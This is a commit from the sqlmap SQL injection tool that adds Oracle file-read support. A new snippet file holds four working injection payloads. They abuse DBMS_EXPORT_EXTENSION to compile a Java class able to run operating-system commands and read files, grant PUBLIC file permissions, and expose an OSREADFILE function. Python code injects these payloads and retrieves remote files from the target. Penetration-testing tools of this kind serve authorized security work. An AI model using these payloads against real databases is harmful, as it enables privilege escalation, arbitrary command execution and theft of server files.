Implementing support for --file-read on Oracle (Issue #26)

This commit is contained in:
Miroslav Stampar 2019-06-03 14:21:26 +02:00
parent b3cdec547b
commit c00a642569
5 changed files with 55 additions and 11 deletions

View File

@ -0,0 +1,4 @@
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL

View File

@ -265,7 +265,7 @@ class Agent(object):
return query return query
def suffixQuery(self, expression, comment=None, suffix=None, where=None): def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
""" """
This method appends the DBMS comment to the This method appends the DBMS comment to the
SQL injection request SQL injection request
@ -303,7 +303,7 @@ class Agent(object):
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
return re.sub(r";\W*;", ";", expression) return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
def cleanupPayload(self, payload, origValue=None): def cleanupPayload(self, payload, origValue=None):
if payload is None: if payload is None:

View File

@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.6.6" VERSION = "1.3.6.7"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View File

@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
threadData.resumed = retVal is not None and not partialValue threadData.resumed = retVal is not None and not partialValue
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..." debugMsg = "searching for error chunk length..."
logger.debug(debugMsg) logger.debug(debugMsg)
@ -82,6 +82,9 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
while current >= MIN_ERROR_CHUNK_LENGTH: while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10) testChar = str(current % 10)
if Backend.isDbms(DBMS.ORACLE):
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
else:
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
@ -112,7 +115,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
if field: if field:
nulledCastedField = agent.nullAndCastField(field) nulledCastedField = agent.nullAndCastField(field)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname) if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField) nulledCastedField = extendedField.replace(field, nulledCastedField)
@ -172,7 +175,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
else: else:
output = output.rstrip() output = output.rstrip()
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
if offset == 1: if offset == 1:
retVal = output retVal = output
else: else:

View File

@ -5,14 +5,51 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import decodeDbmsHexValue
from lib.core.common import getSQLSnippet
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.filesystem import Filesystem as GenericFilesystem from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem): class Filesystem(GenericFilesystem):
def readFile(self, remoteFile): def readFile(self, remoteFile):
errMsg = "File system read access not yet implemented for " localFilePaths = []
errMsg += "Oracle" snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
raise SqlmapUnsupportedFeatureException(errMsg)
for query in snippet.split("\n"):
query = query.strip()
query = agent.prefixQuery("OR (%s) IS NULL" % query)
query = agent.suffixQuery(query, trimEmpty=False)
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
for remoteFile in remoteFile.split(','):
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
kb.fileReadMode = True
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
kb.fileReadMode = False
if fileContent is not None:
fileContent = decodeDbmsHexValue(fileContent, True)
if fileContent:
localFilePath = dataToOutFile(remoteFile, fileContent)
localFilePaths.append(localFilePath)
else:
errMsg = "no data retrieved"
logger.error(errMsg)
return localFilePaths
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "File system write access not yet implemented for " errMsg = "File system write access not yet implemented for "